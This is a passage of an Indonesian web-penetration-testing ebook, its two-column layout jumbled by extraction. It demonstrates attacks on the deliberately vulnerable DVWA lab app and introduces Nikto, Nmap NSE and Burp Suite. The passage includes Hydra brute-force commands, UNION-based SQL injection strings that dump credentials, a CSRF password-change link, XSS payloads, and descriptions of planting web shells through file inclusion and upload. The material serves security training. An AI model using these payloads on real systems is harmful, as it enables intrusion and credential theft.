  • 21. Adapun tools-tools untuk melakukan bruteforce terhadap http- form-based adalah diantaranya: 1. Nmap NSE (http-form-brute) 2. THC Hydra 3. Brutus 4. Acunetix 5. Burp suite Dan selain tools diatas, masih banyak lagi yang mungkin dapat dipergunakan, dalam hal ini kita tidak akan mencobakan se- muanya. Kali ini kita akan mempergunakan THC Hydra untuk membruteforce login, sebelum itu kita harus mempersiapkan dictionary untuk username dan password. DareDevil:hydra-7.4.2 ammar$ cat > user <<EOF > root > foo > admin > administrator Celah bruteforce itu sendiri bisa dieksploitasi secara manual > EOF DareDevil:hydra-7.4.2 ammar$ cat > password << EOF atau mempergunakan tools, biasanya untuk melakukan brute- > 12345 force akan lebih efektif menggunakan dictionary yang meru- > qwerty pakan kumpulan kata-kata yang umumnya dipergunakan seba- > password gai password atau merupakan kumpulan default password > secret yang sudah umum di pergunakan. > password123 > EOF 20
  • 22. Selanjutnya kita memerlukan beberapa variabel yang nantinya Selanjutnya jalankan hydra untuk melihat opsi yang di miliki. akan kita masukkan sebagai opsi pada thc-hydra, dan (error) response yang ada. Untuk mendapatkan error response, coba login terlabih dahulu dengan password sembarang, dalam hal ini kita coba dengan admin:admin dan mendapatkan error “Username and/or pass- word incorrect.” dan kita akan memanfaatkan opsi service: http[s]-{get|post}- form. Untuk melakukan bruteforce kita memerlukan beberapa variabel, yaitu variabel untuk HTTP-method. username, pass- word dan submit, hal itu bisa kita dapatkan dengan melihat source dari halaman login tersebut atau menggunakan local proxy seperti burp atau tamper-data add-ons di firefox. 21
  • 23. Dan didapatkan username=admin dan password=password. Sehingga apabila kita coba gunakan untuk login, maka kita akan berhasil masuk menggunakan credentials admin. Kemudian, kita bisa menjalankan aplikasi hydra dengan opsi- opsi sebagai berikut: ./hydra -l admin -P password 192.168.1.206 http-get-form "/vulnerabilities/brute/index.php:username=^USER^&pass word=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: PHPSES- SID=0p61ua4p0u4g28bfk36qcr11c1; security=high" yang hasilnya akan seperti berikut ini apabila berhasil: 22
  • 24. dan dengan mempergunakan thc-hydra maka akan berhasil di bruteforce juga, seperti berikut ini: #hydra -L user -P password 192.168.1.210 http-post-form "/omega-bank/check.php:username=^USER^&password=^ Selanjutnya kita coba pada situs lain, sebagai contoh aplikasi PASS^&Submit=Submit:Not Register or Wrong Password" berikut ini: 23
  • 25. 2. Command Injection Celah yang kedua adalah celah command injection, dengan adanya celah ini memungkinkan attacker untuk memasukkan perintah (command) via web aplikasi dan akan diteruskan dan dijalankan oleh sistem operasi dengan privilege user web aplikasi. Pada DVWA terdapat aplikasi yang mengijinkan kita untuk me- manfaatkan fasilitas PING suatu ip/web melalui aplikasi, seba- gai contoh berikut ini kita melakukan ping terhadap yahoo.com. 24
  • 26. Dan oleh aplikasi perintah ping kita akan di teruskan ke sistem Dalam hal ini kita mempergunakan separator untuk men- operasi, yang menjadi permasalahan adalah apabila tidak terda- jalankan beberapa perintah pada sistem operasi seperti “;” atau pat filter, sehingga untuk mengeksploitasinya kita dapat me- “&”. masukkan perintah (command) milik sistem operasi. Dan ternyata, seluruh perintah yang kita masukkan akan langs- ung diteruskan oleh aplikasi ke sistem, dan salah satu seran- gan yang mungkin kita lakukan adalah mendownload (misal 25
  • 27. menggunakan wget) dan menjalankan backdoor (menjalankan netcat atau backdoor yang telah di download). 3. Cross Site Request Forgery (CSRF) Celah ketiga yang terdapat pada DVWA adalah CSRF yang merupakan kependekan dari Cross Site Request Forgery, yang merupakan salah satu jenis serangan yang memaksa target un- tuk mengeksekusi aksi yang tidak di harapkan dari suatu web aplikasi saat mereka sedang terotentikasi ke web tersebut. Celah ini umumnya dikombinasikan dengan celah sosial engi- neering. Beberapa fitur yang umumnya dijadikan sasaran ada- lah fitur penggantian password, perubahan profile dsb. Pada aplikasi dvwa terdapat form untuk merubah password dan ternyata memiliki celah CSRF, Cara untuk mengeksploitasinya adalah memberikan link berikut ini ke target, baik via email/forum dsb-nya (khususnya yang me- nampilkan html) Sehingga, setiap user yang mengklik link - Click Here - maka <a passwordnya akan terganti menjadi “qwerty”. href="http://192.168.1.208/vulnerabilities/csrf/?password_new= qwerty&password_conf=qwerty&Change=Change#">Click Here</a> 4. File Inclusion Celah keempat yang terdapat pada DVWA adalah File Inclu- sion, sehingga memungkinkan attacker untuk meng-include- 26
  • 28. kan file ke aplikasi, umumnya celah ini terbagi dua, local file in- clusion dan remote file inclusion dan celah ini akan semakin ber- bahaya jika kode yang terdapat pada halaman yang di include di eksekusi oleh aplikasi atau memiliki juga celah code execution. Sebagai contoh kita membaca file “/etc/passwd”, yang apabila berhasil maka akan muncul file /etc/passwd yang dapat kita baca. Sedang untuk mencoba apakah suatu web aplikasi memiliki ce- Untuk celah local file inclusion kita bisa mencoba untuk meng- lah remote file inclusion, kita dapat meng-include-kan situs lain include file yang terdapat di server dan dapat dibaca oleh user ke aplikasi web tersebut, dalam hal ini dvwa, sebagai contoh si- web, dengan memanfaatkan path traversal. tus http://yahoo.com 27
  • 29. Dan selanjutnya kita coba meng-include-kan pada aplikasi DVWA yang bercelah remote file inclusion, apakah skrip terse- but akan dijalankan dan dieksekusi oleh php di server DVWA Dan ternyata, aplikasi DVWA memiliki celah remote dan local file inclusion. Selanjutnya kita akan mencoba meng-include-kan web dengan halaman php, dalam hal ini berisi fungsi phpinfo(); yang apabila di eksekusi berarti aplikasi mengijinkan remote file inclusion dan remote code execution. Selanjutnya kita akan mengeksploitasinya dengan skrip phpinfo sederhana dan disimpan dengan nama phpinfo.txt di webserver lain yang sudha kita persiapkan. Dan ternyata, script tersebut di eksekusi oleh aplikasi DVWA. Selanjutnya kita bisa membuat script php yang berisi web shell dan kita include-kan ke halaman dvwa yang bercelah. 28
  • 30. Untuk melakukan eksploitasi secara manual terhadap celah sql injection biasa, kita dapat mempergunakan string/numeric true (‘’, “ “,, and 1) dan false (‘, “, , and 0) , maka umumnya yang dilakukan adalah dengan memanfaatkan error dan mempergu- nakan escape character seperti single quote (‘) agar hasil false Kitapun telah bisa berinteraksi dengan sistem melalui script php dan mendapatkan error. web shell yang mengeksploitasi celah keamanan remote file in- clusion dan remote code execution. 5. SQL Injection Celah kelima yang terdapat pada DVWA adalah celah SQL In- jection. Untuk mengeksploitasinya kita bisa melakukan secara manual atau dapat mempergunakan tools scanner untuk mene- mukan celahnya, dan juga untuk mengeksploitasinya. Tools yang sangat umum dipergunakan salah satunya sqlmap. 29
  • 31. dan menghasilkan error sql, seperti berikut ini: atau untuk login kita bisa menggunakan perintah 1‘ OR “=’ yang berarti True dan hasil akan ditampilkan. Agar Query kita diproses dan tidak ada query lagis etelahnya di proses, kita bisa menggunakan comment out query pada akhir sql state- ment yang kita gunakan diantaranya #, /*, -- -. Dan untuk mencari jumlah column yang terdapat di tabel dari database yang bisa kita pergunakan, kita bisa melakukannya dengan cara mengaksesnya 1 persatu sampai tidak menjadi er- ror, untuk asumsi 1 column, gunakan ‘union select 1# Sekarang apabila kita bypass dengan semua true, tanpa ID 30
  • 32. dan apabila masih terdapat error seperti ini: selanjutnya yang mungkin dilakukan adalah berinteraksi den- gan database, sehingga kita dapat melihat seluruh isi data-data di database, seperti berikut: kemudian di coba lagi dengan 2 column, Dari info diatas kita mengetahui nama database dari dvwa yaitu ‘dvwa’, dan untuk mengetahui nama tabel, jika mysql ver 4 kita dan ternyata tidak error lagi dan kita ketahui bahwa ada 2 col- harus melakukan bruteforce, atau jika itu berupa opensource umn, jika masih error dapat dilanjutkan sampai tidak ada error. cms kita bisa melihatnya, sedangkan untuk mysql versi 5 kita bisa mempergunakan table information_schema yang memberi- Setelah kita mendapatkan jumlah column yang di tampilkan, se- kan informasi terkait data-data yang terdapt didalam database lanjutnya untuk setiap query kita bisa memanfaatkan 2 kolom seperti nama database dan nama tabel, tupe data dan kolom tersebut, sebagai contoh kita hanya mempergunakan kolom ke- atau akses privilege. dua Seperti contoh berikut ini adalah mengakses tabel informa- tion_schema. 31
  • 33. yang hasilnya adalah sebagai berikut: Setelah kita dapatkan nama database (dvwa), kemudian nama tabel dan jumlah kolom, selanjutnya kita perlu mencari nama kolomnya, dengan kembali memanfaatkan tabel information_schema.column denagn perintah berikut: ' union all select column_name,database() from information_schema.columnss where table_schema=dat- abase()# atau hanya melihat informasi nama tabel dari database yang kita gunakan saja menggunakan perintah sql sebagai berikut: ' union all select table_name,database() from information_schema.tables where table_schema=dat- abase()# 32
  • 34. Dan didapatkan username admin dengan hash password: 5f4dcc3b5aa765d61d8327deb882cf99 yang setelah di crack Sekarang kita bisa mendapatkan informasi user dan pass- merupakan md5 hash dari password. wordnya dengan menggunakan database dvwa, tabel users dan kolom user dan password 'union select user,password from dvwa.users# Sehingga akan didapatkan data usernama dan passsword dari aplikasi dvwa, seperti pada gambar berikut ini: 33
  • 35. Selanjutnya kita dapat mempergunakan fungsi-fungsi lain dari 6. Blind SQL Injection mysql yang berguna bagi kita, seperti membaca file dengan fungsi load_file() atau menulis ke file dengan fungsi into out- Celah keenam yang terdapat pada DVWA adalah celah Blind file(). SQL Injection, perbedaan celah ini dan celah SQL injection ada- lah error yang tidak muncul. Sehingga untuk mengeksploitasi- Dengan fungsi load_file(), memungkinkan kita untuk membaca nya. Sebagai contoh saat kita masukkan single quote (‘). file-file yang dapat dibaca oleh user yang menjalankan web aplikasi/web user. Kita dapat membaca file konfigurasi datbase dari web server, konfigurasi dari server, dsb. Dan tidak terdapat error mysql sama sekali yang tampil. Untuk mengetahui apakah situs tersebut memiliki celah sql injection atau tidak kita bisa memasukkan perintah sql, sebagai contoh menggunakan true or false argument. True condition memasukkan ID= 1' OR ''='# ; jika hasil yang di- proses oleh aplikasi adlaah sama denagn ID=1 berarti ke- mungkinan aplikasi memiliki celah SQL Injection (Blind), dan diperoleh hasil sebagai berikut: 34
  • 36. Mari kita coba dengan untuk asumsi 1 column, gunakan ‘union select 1# Dan ternyata memiliki hasil yang sama dengan ID=1, sekarang kita coba False argument, Dan tidak ada error yang dihasilkan. Kita lanjutkan dengan ‘union select 1,2# Dan proses eksploitasi sql injection pun terjadi, selanjutnya kita akan menentukan field yang dapat kita manfaatkan. Cara yang akan dipergunakan sama seperti cara kita saat mencari celah SQL Injection, perbedaannya adalah apabila jumlah field benar maka hasil akan tampil, sebaliknya jika jumlah field salah maka tidak akan tampil apa-apa. Dan kita mendapatkan bahwa terdapat sejumlah 2 column yang kedua-duanya bisa kita manfaatkan, karena dalam beberapa 35
  • 37. kasus terdapat beberapa column, dan bisa jadi tidak semuanya bisa dimanfaatkan. Dan langkah yang dilakukan sleanjutnya sama, sampai kita mendapatkan username dan password dari user aplikasi, atau mendapatkan akses ke sistem mempergunakan fungsi load_file() atau into outfile(). 36
  • 38. 7. Upload Selanjutnya, kita hanya perlu mencari URI path yang tepat men- garah ke file yang kita update, dan dalam hal ini kita tau Celah ketujuh yang terdapat pada DVWA adalah celah fungsi diupload ke folder tersebut, sehingga kita bisa langsung men- upload, celah ini biasanya kita temukan dibanyak aplikasi web. gakses http://192.168.1.208/hackable/uploads/shell.php seperti Celah ini paling mudah di eksploitasi, dan pada level dvwa secu- pada gambar berikut: rity low tidak ada filter terhadap file sama sekali, sehingga kita dapat mengupload file backdoor .php, dalam hal ini kita gu- nakan file yang sama saat kita melakukan eksploitasi remote file inclusion, tetapi dengan ekstensi “.php” Kemudian dinyatakan bahwa kita berhasil melakukan upload file “shell.php” Atau anda bisa membuat php based “reverse/bind shell” back- door dengan metasploit :). 37
  • 39. 8. Cross Site Scripting (XSS) Reflected Celah kedelapan adalah celah cross site scripting reflected, ce- lah ini mengijinkan kita memasukan perintah html, javascript. Sebagai contoh kita mempergunakan tag html <h1>, seperti contoh berikut: Exploit/XSS payload : <h1>XSS</h1> Dan umumnya celah XSS Reflected ini dimanfaatkan oleh at- tacker untuk melakukan kegiatan phishing dan social engineer- ing, karena serangan ini hanya berlaku client-side dan reflected Tetapi pada beberapa situs, umumnya forum diskusi beberapa sehingga hanya target yang menerima link dengan payload xss tag HTML memang diijinkan, dan untuk meyakinkan kita gu- yang akan terkeksploitasi. nakan tag yang umumnya di filter yaitu <iframe>, <script> dan Untuk eksploitasi XSS yang lebih berbahaya dapat merujuk ke berikut ini kita coba memasukkan iframe dengan XXS payload bab 1 bagian Attack Vector Cross Site Scripting (XSS). sebagai berikut: <IFRAME+SRC=http://192.168.1.208><%2FIFRAME> 9. Cross Site Scripting (XSS) Persistent Maka kita akan mendapatkan hasil sebagai berikut: Celah kesembilan dan terakhir dari aplikasi DVWA adalah celah cross site scripting persistent, celah ini seperti celah XSS re- flected mengijinkan kita memasukan perintah html, javascript ke aplikasi, dan bedanya adalah xss payload yang kita masuk- kan akan tersimpan, sehingga seluruh user yang mengakses situs atau URL akan mungkin tereksploitasi. 38
  • 40. Sebagai contoh kita mempergunakan tag html <h1>, seperti Celah XSS reflected dan persistent ini tidak memiliki impact contoh berikut pada halaman yang memiliki celah XSS persis- sama sekali ke server. Celah ini akan menjadi sangat berba- tent haya ke user apabila dikombinasikan dengan celah pada aplikasi client seperti web browser, mail client dsb yang dapat Exploit/XSS payload : <h1>XSS</h1> memproses XSS payload (tag html/javascript) secara otomatis. Untuk eksploitasi XSS yang lebih berbahaya dapat merujuk ke bab 1 bagian Attack Vector Cross Site Scripting (XSS). XSS payload tersebut akan tersimpan dan di proses oleh aplikasi setiap kali diakses user. 39
  • 41. Web Hacking Tools 3 Pada BAB ini akan dibahas mengenai beberapa perangkat yang dapat dipergunakan untuk membantu dan juga sudah umum di pergunakan dalam proses Web Application Hacking. Ahmad Muammar, OSCP (C) 2013
  • 42. Section 1 Web Application 1. Nikto Security Tools Nikto adalah aplikasi opensource web server scanner, yang bekerja dengan cara membandingkan web server dengan ban- yak item di database, termasuk diantaranya adalah 6500 file/cgi yang memiliki kemungkinan celah keamanan, lebih dari 1250 versi server yang sudah out-of-date, dan sebanyak 270 masa- Daftar Isi lah spesifik berdasarkan versi dari suatu webserver. Nikto juga memeriksa file konfigurasi, seperti keberadaan multi- 1. Nikto ple index files, opsi pada server HTTP, dan juga akan men- 2. Nmap NSE gidentifikasi versi web server dan aplikasi yang terinstall. Nikto dibuat dan bekerja tidak secara tersembunyi, sehingga akan 3. BurpSuite (next) mudah terdeteksi oleh perangkat keamanan jaringan (di log), 4. SQLMap(next) meskipun begitu, nikto dilengkapi dengan metode anti-IDS. Untuk menggunakan nikto, anda perlu menginstall Perl dan li- brary perl yang dibutuhkan, karena nikto menggunakan perl se- bagai bahasa pemrograman. Nikto sendiri dapat di download gratis dari situsnya di http://cirt.net/nikto2. Untuk mengakses mengenai informasi lengkap penggunaan- nya, dapat diakses dengan #perl nikto.pl -H 41
  • 43. Sebagai contoh berikut ini adalah saat kita melakukan proses Seperti sudah di singgung diatas, nikto bekerja dengan mem- scanning web server dengan alamat ip 192.168.1.210 bandingkan hasil scanning dengan database-nya, sehingga proses scanning akan berlangsung cepat, tetapi hal ini juga menjadi kelemahannya, karena beberapa direktori yang tidak terdapat pada dictionary/database-nya tidak akan dideteksi. Untuk mempergunakan nikto terhadap aplikasi/direktori yang tidak standar maka kita bisa menggunakan link full-path ke di- rektori tersebut, sebagai contoh ke aplikasi milik omega-bank, yang berada di http://192.168.1.210/omega-bank/ Beberapa informasi yang bisa diperoleh dari hasil scanning kita adalah diantaranya : 1. Versi webserver yang outdated 2. Versi PHP yang outdated 3. HTTP Method yang aktif: GET, HEAD, POST, TRACE dan method TRACE memiliki celah keamanan. 4. Terdapat aplikasi phpmyadmin yang terletak di http://192.168.1.210/phpmyadmin/ 5. Terdapat directory /icons/ dan default file README. 42
  • 44. gunakan perintah #perl nikto.pl -h aplikasi dvwa, untuk dapat mengeksploitasi celah-celah yang http://192.168.1.210/omega-bank/ dan akan didapatkan hasil ada kita harus melakukan login atau memiliki cookie untuk da- sebagai berikut: pat berinteraksi dengan aplikasi. Sebagai contoh adalah scanning langsung webserver dengan alamat ip 192.168.1.207 dan kita mendapatkan hasil yang lebih banyak lagi dan bisa kita Kita dapat melakukan setting cookie pada file nikto.conf, untuk cobakan, tetapi yang perlu diingat adalah bahwa penggunaan mendapatkan cookie kita bisa mempergunakan nikto dengan tools untuk melakukan scanning akan memunculkan kemungki- opsi menambahkan “-Display 2”, untuk mendapatkan cookies nan adanya celah keamanan yang false positive. dan proses scanning dilakukan dengan mempergunkan cookies dan perhatikan perbedaannya sebagai berikut: Kustomisasi Nikto #perl nikto.pl 192.168.1.207 -Display 2 Selain beberapa hal diatas, nikto juga dapat dikustomisasi un- tuk dapat bekerja secara maksimal, dalam hal ini melakukan scanning aplikasi yang mempergunakan cookie, seperti pada 43
  • 45. Dan kita dapatkan hasil yang lebih banyak dibandingkan tidak mempergunakan cookies. Atau kita dapat mempergunakan fitur inspect-element yang su- dah terdapat di browser dan melihat cookit yang dipergunakan seperti berikut ini: Selanjutnya kita bisa set cookie tersebut, sehingga akan selalu di gunakan jika kita akan melakukan scanning terhadap web server dengan alamat tersebut, tetapi yang perlu di ingat, hal ini akan berlaku static, dan secara manual juga kita harus menghapusnya. 44
  • 46. Tambahkan konfigurasi terkait cookies yang kita dapatkan ke file nikto.conf kedalam variable static-cookie seeperti pada gam- bar berikut ini: Selanjutnya setelah disimpan kita bisa melakukan scanning kembali dengan cookie yang sudah ada. 45
  • 47. meriksaan kemungkinan direktori yang tersedia seperti gambar 2. Nmap NSE berikut ini. Nmap dengan dukungan NMAP scripting engine memberikan beberapa NSE yang berfungsi untuk melakukan vulnerability scanning terhadap webserver. Untuk nama dan letak NSE da- pat di lihat di /usr/local/share/nmap/scripts/ Salah satu yang umum di pergunakan dan cukup bermanfaat adalah NSE http-enum yang akan secara cepat melakukan pe- 46
  • 48. Burp Suite 4 Pada BAB ini akan dibahas mengenai perangkat Burp Suite yaitu salah satu perangkat untuk melakukan web penetration testing. Ahmad Muammar, OSCP (C) 2013
  • 49. Section 1 Burp Suite 1. Burp Suite Burp Suite adalah salah satu perangkat keamanan gratis yang sangat berguna dalam melakukan kegiatan web application se- curity atau untuk kegiatan penetration testing. Burp yang pada awalnya hanya merupakan aplikasi proxy server untuk melaku- kan intercept baik terhadap http-request ataupun http-response Daftar Isi ke server dan web aplikasi. Sampai versi terakhir 1.5 yang dapat diunduh di 1. Burp Suite http://portswigger.net/burp/download.html, burp yang dina- ! 1.1 Proxy makan suite juga berisikan tools-tools lain yang bermanfaat un- tuk kegiatan Web application security dan penetration testing. ! 1.2 Spider Burp Suite yang dikembangkan dnegan bahasa pemrograman ! 1.3 Intruder JAVA ini memiliki tools seperti proxy, spider, intruder, repeater, ! 1.4 Repeater sequencer, decoder, comparer untuk versi gratisnya. Serta Per- angkat untuk melakukan scanning vulnerabilities terhadap web ! 1.5 Sequencer aplikasi dengan perangkat scanner pada versi Professionalnya. ! 1.6 Decoder Dan berikut akan kita bahas secara singkat perangkat- perangkat yang terdapat pada Burp Suite, tetapi sebelum itu ! 1.7 Comparer berikut adalah beberapa hal yang perlu dikonfigurasikan pada ! 1.8 Scanner Burp Suite dan pada browser agar berjalan sempurna. ! 1.9 Extender 48
  • 50. Secara default maka proxy listener akan berjalan di 127.0.0.1:8080, dan alamat ini yang perlu kita set pada browser yang akan kita pergunakan pada aktifitas web penetration test- ing nantinya. Gambar Aplikasi Burp Suite versi gratis Untuk memastikan Burp Suite bekerja, pastikan bahwa proxy Gambar Tab konfigurasi Proxy listeners dari burp berjalan sempurna maka periksa pada Tab Proxy dan tab Options, perhatikan pada bagian proxy-listeners Kemudian kita perlu untuk mengkonfigurasikan browser yang untuk di-cek dan running, begitu pula bagian Intercept Client Re- akan kita pergunakan, dan untuke mempermudah dalam mela- quest, dan pada beberapa kasus jika diperlukan juga melaku- kukan switch proxy, apabila kita menggunakan lebih dari 1 kan intercept Server Responses. proxy nantinya, maka untuk browser firefox atau chrome ada 49
  • 51. add-os/extensions FoxyProxy yang dapat dipergunakan. Dan berikut ini adalah gambar untuk mengkonfigurasikan Burp proxy yang akan kita pergunakan nantinya. Gambar Memilih Burp sebagai Proxy Dan selanjutnya apabila kita mengakses suatu web maka akan di inter- cept oleh burp, dan kita dapat memodifikasinya sebelum meneruskan request tersebut ke web server dengan meng-click tombol Forward, seperti gambar berikut ini, Gambar Aplikasi Konfigurasi FoxyProxy Sehingga, untuk mempergunakannya kita tinggal memilih kon- figruasi untuk Burp proxy pada icon foxyproxy di firefox, seperti pada gambar berikut ini: Gambar saat kita mengakses web DVWA dan langsung di intercept burp 50
  • 52. 1.1 Proxy Perangkat utama dari Burp suite yang awalnya dikenal dengan Burp Proxy adalah aplikasi proxy server yang dapat kita konfigu- rasikan untuk melakukan intercept terhadap seluruh transaksi web. Seperti pada penjelasan sebelumnya maka kali ini kita akan mempergunakan aplikasi web DVWA (Damn Vulnerable Web Application) sebagai aplikasi yang akan kita test. Sebagaimana kita ketahui bahwa aplikasi DVWA memiliki be- berapa level yaitu low, medium dan high dan untuk merubah level tersebut kita harus login terlebih dahulu kemudian mengak- ses halaman security.php, jika tidak maka secara default level security dari aplikasi adalah “high”. Dengan memanfaatkan penggunaan burp maka kita akan mela- Gambar setelah kita meneruskan request dengan meng-click Forward button kukan modifikasi security level dari aplikasi yang ternyata di set lewat Cookie oleh aplikasi, sehingga security level milik kita akan langsung ter-set dengan level low. Adapun yang kita laku- kan adalah dengan melakukan intercept seperti gambar diba- wah ini 51
  • 53. Gambar Request ke web dvwa, dan terlihat aplikasi men-set level security ke high Gambar Memodifikasi Cookie Sebelum kita mem-Forward request tersebut, maka kita dapat memodifikasi security level dari aplikasi, sehingga saat kita Dan seterusnya setiap request, kita harus memodifikasi sting login level security kita adalah low, seperti gambar berikut security menjadi low pada tiap request, sehingga saat kita login ke web aplikasi, level security yang kita punyai adalah low, seperti gambar berikut 52
  • 54. 1.2 Spider Perangkat kedua dari Burp Suite adalah “Spider”, perangkat ini berfungsi sebagai crawler yang akan secara aktif dan pasif me- lakukan crawling terhadap web aplikasi untuk mendapatkan data halaman web, direktori, bahkan melakukan submit form dan mendapatkan variabel. Spider dapat di konfigurasikan untuk mempergunakan scope yang terdefinisi terlebih dahulu, dengan tujuan fokus terhadap target, untuk menentukan scope, perlu didefinisikan pada Tab Taget seperti pad agambar berikut: Gambar saat login, sudah otomatis dengan security level: low Gambar Scope yang didefinisikan 53
  • 55. Untuk mulai melakukan kegiatan crawling web aplikasi, maka 1.3 Intruder lakukan klik-kanan dan pilih opsi “Spider this host” seperti pada gambar dibawah ini: Perangkat yang ketiga dari kumpulan Suite pada Burp adalah Intruder. Intruder ini adalah perangkat yang yang bermanfaat untuk melakukan otomatisasi kegiatan yang ditemukan pada saat melakukan kegiatan penetration testing. Salah satu kegi- atan yang dapat dilakukan dengan memanfaatkan intruder ada- lah untuk melakukan HTTP based brute-forcing Gambar melakukan Spider terhadap URL tertentu. Dan kemudian akan terlihat bahwa spider berjalan, seiring berjalanya aktifitas crawl- Gambar Tab Intruder ing, maka nantinya pada Target akan bertambah pula direktori dan file yang terdapat pada list URL tersebut. Selanjutnya kita akan coba melakukan bruteforce terhadap web login pada aplikasi DVWA. Salah satu kelebihan dari aplikasi bruteforce ini adalah kita tidak perlu mengkonfigurasikan be- berapa hal yang umumnya kita konfigurasikan pada aplikasi bru- 54
  • 56. teforce lainnya, semisal thc-hydra yaitu HTTP Method yang Kemudian mengirimkannya ke Intruder, dengan melakukan klik dipergunakan, kemudian error response dsb-nya. kanan pada seluruh request tersebut, seperti gambar berikut ini: Yang perlu kita lakukan adalah mendapatkan 1 request lengkap saat proses login terjadi, sebagai contoh mempergunakan user- name dan password sembarang, kemudian melakukan inter- cept pada proses tersebut seperti gambar berikut ini: Gambar pengiriman request login untuk bruteforce ke Intruder Selanjutnya adalah mengkonfigurasikan intruder untuk melaku- kan bruteforce terhadap halaman login tersebut memanfaatkan Gambar request login ke aplikasi DVWA full request yang sudah kita tandai. Sebelum itu pastikan host dan port serta protokol yang dipergunakan sudah benar (den- gan SSL (https) atau tidak), seperti pada gambar berikut ini. 55
  • 57. Gambar pengiriman request login untuk bruteforce ke Intruder Gambar Posisi Payload dari full request yang kita kirim ke intruder Kemudian, kita akan mulai mengkonfigurasikan Intruder untuk Terdapat 5 Payload dengan 5 posisi pada request asli yang kita proses bruteforce. Hal selanjutnya yang harus kita lakukan ada- kirimkan, selanjutnya untuk menandai payload yang mana saja lah menandai payload, payload inilah nantinya yang akan dimo- serta posisinya untuk kita bruteforce, maka yang perlu kita laku- difikasi oleh intruder saat melakukan request. kan pertama adalah menghilangkan seluruh tanda lalu kemu- dian menandainya, hal ini dapat dilakukan dengan menggu- Terdapat beberapa tipe attack yang didukung oleh intruder dan nakan clear button. hal ini sangat terkait dengan payload yang akan kita tandai dan diberi posisi, seperti pada gambar berikut ini: Sehingga, seluruh payload belum tertandai seperti pada gam- bar berikut, 56
  • 58. Gambar menandai payload dan posisinya Gambar Setelah kita melakukan clear payload positions Selanjutnya adalah menentukan tipe attack untuk payload, di- Selanjutnya, karena kita hanya ingin melakukan bruteforce ter- mana yang tersedia adalah sniper, battering ram, pitchfork dan hadap username dan password, maka kita hanya perlu menan- clusterbomb, ada baiknya membaca help untuk tiap-tiap attack dai payload 1 yaitu username yang dalam hal ini admin dan type payload positions sesuai dengan kebutuhan anda, tetapi payload 2 yaitu palsu sebagai password. Hal ini dapat kita laku- secara sederhana sniper dan battering ram hanya mendukung kan dengan mempergunakan Add button seperti pada gambar single set payload dan sudah pasti tidak dapat kita pergunakan berikut ini: karena payload yang kita butuhkan lebih dari satu payload. Hanya tersisa tipe attack pitchfork dan ClusterBomb, dan tipe attack yang terakhir memungkinkan seluruh kombinasi dari pay- 57
  • 59. load di ujicobakan, sehingga kita akan memilih clusterbomb se- bagai tipe attack untuk payload positions seperti pada gambar berikut, Gambar memilih Attack Type Gambar mengkonfigurasikan simple list sebagai payload 2 Selanjutnya yang perlu kita lakukan adalah mengkonfigurasikan Seperti pada gambar diatas, kita mengkonfigurasikan payload payload, yang sampai proses ini kita membutuhkan 2 buah pay- dengan posisi nomer 2 yang nantinya akan menjadi password load, yaitu payload 1 untuk username dan payload 2 untuk pada proses bruteforce dengan intruder ini. Perlu diketahui password. bahwa pada versi free maka proses bruteforce akan memakan waktu lebih lama karena hanya bisa menggunakan 1 threads :). Dan untuk tipe payload, kita bisa memilih simple list dan me- Anda juga selanjutnya dapat mengkonfigurasikan proses brute- masukkan secara manual list tersebut satu-persatu dikare- force pada bagian Options. nakan hanya versi pro yang mengijinkan untuk kita melakukan penambahan dari list yang sudah ada seperti file kamus kata. 58
  • 60. Untuk memulai melakukan bruteforce maka kita cukup memilih kan content-length, dan hal ini akan lebih mudah jika password menu intruder dan memilih start attack seperti pada gambar yang salah menghasilkan halaman yang sama (length sama), berikut, sedangkan apabila password yang salah menghasilkan content-length yang berbeda (dalam hal ini menampilkan user- name kembali saat gagal login) maka anda perlu mengkonfigu- rasikan intruder (tab options) untuk mempermudah menemukan password yang benar. Gambar memulai proses bruteforce Salah satu hal yang menarik adalah menentukan password Untuk DVWA ini kita berhasil melakukan bruteforce dengan in- yang benar, dikarenakan intruder ini memang kegunaannya un- truder dan mendapatkan username admin dan password seba- tuk melakukan automatisasi request dengan modifikasi, maka gai password, salah satu kelebihan lainnya kita tidak perlu untuk menentukan mana password yang benar dan salah salah mengkonfigurasikan cookie (seperti jika kita mempergunakan satu yang bisa kita pergunakan adalah dengan membanding- 59
  • 61. hydra saat membruteforce login aplikasi dvwa) atau variable lainnya yang diperlukan untuk login. 1.4 Repeater Perangkat selanjutnya adalah Repeater, yang merupakan per- angkat sederhana untuk secara manual melakukan modifikasi (manipulasi) dan menjalankan single HTTP requests dan se- cara langsung mendapatkan response dari aplikasi. Untuk memanfaatkan repeater, sebagaimana penggunaan per- angkat lainnya, kita cuma perlu melakukan klik kanan dan men- girim request (Single) ke repeater, untuk kemudian dimodifikasi dan di kirimkan secara tersendiri. Untuk celah keamanan yang memungkinkan kita melakukan eksploitasi terkait hal ini adalah celah OS Command Injection, dan celah ini terdapat pada aplikasi DVWA, seperti pad a gam- Gambar request yang akan kita manipulasi secara terpisah dengan repeater bar berikut ini: Dan celah keamana yang akan kita eksploitasi adalah pada ha- laman /vulnerabilities/exec/index.php pada variable ip seperti pada gambar berikut ini, 60
  • 62. Gambar eksploitasi celah keamanan OS Command Injection dengan repeater Gambar proses eksploitasi celah keamanan os command injection dnegan repeater Selanjutnya adalah kita tinggal menggonta-ganti request yang ada khususnya pada variable ip, dan hal ini akan mempermu- dah dan memberi banyak keleluasaan bagi kita dalam proses penetration testing, dibandingkan mempergunakan browser un- tuk tiap request. 61
  • 63. 1.5 Sequencer Perangkat ke-5 adalah sequencer, perangkat ini bermanfaat un- tuk melakukan proses analisa kualitas tingkat kerandoman dari beberapa sample data, sebagai contoh memeriksa session to- kens dari suatu aplikasi dsb. Sebagai contoh kita akan memeri- kas cookies dari aplikasi DVWA ini Gambar pemilihan lokasi token pada response yang akan dianalisa. Kemudian kita tinggal menjalankan Sequencer dengan menggu- nakan button Start Live Capture, kemudian akan tampil hala- man hasil analisa yang menunjukkan bahwa hasil tingkat keran- doman untuk token tersebut adalah excellent, seperti pada gam- bar berikut, Gambar pengiriman request ke sequencer Kemudian, token yang akan kita analisa adalah PHPSESSID seperti pad agambar berikut ini, 62
